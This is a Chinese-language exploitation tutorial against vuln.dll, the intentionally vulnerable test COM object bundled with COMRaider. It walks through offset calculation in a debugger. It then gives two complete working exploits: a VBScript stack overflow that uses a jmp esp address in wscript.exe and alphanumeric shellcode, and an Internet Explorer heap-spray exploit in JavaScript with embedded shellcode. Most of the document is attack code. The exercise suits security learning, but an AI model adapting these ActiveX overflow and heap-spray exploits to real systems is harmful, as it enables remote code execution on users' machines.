测试漏洞为COMRaider下面的测试文件vuln.dll,安装了COMRaider的朋友可以在安装目录下找到,并用regsrv32 vuln.dll注册。下面是两个测试代码和一点简单分析
(1)用vbs调用的测试
字符串头 0012ECA0 41414141
esp: 0012ED78 41414141
将要执行的代码:retn 0C
取消所有断点,在retn 0C处下断点
0x0012ED78 - 0x0012ECA0 = 0xD8 = 216
测试 216 nop + 0x90 x 4
注意vbs中使用ascii码 0x90 = bchr(144)
返回地址jmp esp要禁得住宽字节转换
在地址0x01071A4B处找到jmp esp指令 位于模块wscript内存装载段
由于retn 0C 应该有12个字节的保留
栈布置:216 'A' + 0x01071A4B + 12 'A' + shellcode alpha code
exp.vbs代码:
bstrNop = String(216, &H41)
arrRet = Array(&H4B, &H1A, &H07, &H01) 'jmp esp in wscript.exe
for i = 0 to UBound(arrRet)
arrRet(i) = chr(arrRet(i))
next
bstrRet = replace(join(arrRet), " ", "")
bstrJunk = String(12, &H41)
bstrShellcode = "TYIIIIIIQZAkA0D2A00A0kA0D2A12B10B1ABjAX8A1uINp3zirq3Xq0ai2O3ESXpfrUaspkLMr4WTsasbpRPQLynxopKQ2WKOxQLyvzipyvPwpPKOjqA"
bstrPayload = bstrNop & bstrRet & bstrJunk & bstrShellcode
Set VulnObj = CreateObject("Vuln.server.1")
VulnObj.Method1(bstrPayload)
Set VulnObj = Nothing
(2)下面是IE的利用,由于进行了宽字节变换,同样的jmp的方法行不通,然而IE的模块里面没有找到可以利用的指令(返回时),考察Heap Spray,下面是测试代码,便于理解这种利用方式做了注解:
<script>
try{
//设定溢出参数,返回方式等,这里是栈溢出,使用nops + ret(0x0c0c0c0c)即可
var nops = "";
var nops_size = 216;
for(var i = 0;i < nops_size;i ++) nops += "A";
var ret = "\x0c\x0c\x0c\x0c";
var payload = nops + ret;
//放置shellcode并进行双字节逆序的unicode转换
var shellcode = "\x33\xc9\x51\x68\x20\x79\x6f\x75";
shellcode +="\x68\x66\x75\x63\x6b\x8d\x14\x24";
shellcode +="\x51\x52\x52\x51\xb9\x98\x80\xe1";
shellcode +="\x77\xff\xd1\xb9\x1a\xe0\xe6\x77";
shellcode +="\x50\xff\xd1";
var shellcode_tmp = "";
if(shellcode.length % 2 == 1) shellcode += "\x90"; //奇数个shellcode进行补全
for(i = 0;i < shellcode.length;i = i + 2)
{
shellcode_tmp += "%u" + shellcode.charCodeAt(i+1).toString(16) + shellcode.charCodeAt(i).toString(16);
}
shellcode = unescape(shellcode_tmp);
//开始构造block
var heap_size = 0xFF000; //JS为变量分配的堆大小 0xFF000 进过win2k扩展0x1000后正好为0x100000大小的块
var header_size = 32; //堆块首大小为32 bytes
var string_header = 4; //字符串长度头
var null_byte = 2; //字符串结束2bytes null(unicode)
var nop_length = heap_size/2 - header_size/2 - string_header/2 - shellcode.length - null_byte/2; //计算nop的长度 (unicode)
var big_block = unescape("%u9090%u9090%u9090%u9090");
while(big_block.length <= (heap_size / 2)) big_block += big_block;
var block = big_block.substring(0, nop_length); //从空间中剪取该大小的块备用
//开始申请很多block这样的块
var ret_parseint = 0;
for(i = 0;i < 4;i ++) ret_parseint += ret.charCodeAt(i) * Math.pow(0x10, i*2);
ret_parseint = ret_parseint - 0x01000000; //分配堆栈的大概基地址0x01000000
var block_cnt = parseInt(ret_parseint / 0x100000) + 1; //计算需要的块数量(向上取整),以0为开始分配的地址,实际上不可能,所以一定能覆盖到
var slide = new Array();
for(i = 0;i < block_cnt;i ++) slide[i] = block + shellcode;
//溢出漏洞函数
var vuln = new ActiveXObject("Vuln.server.1");
vuln.Method1(payload);
}catch(e){alert(e.message);}
</script>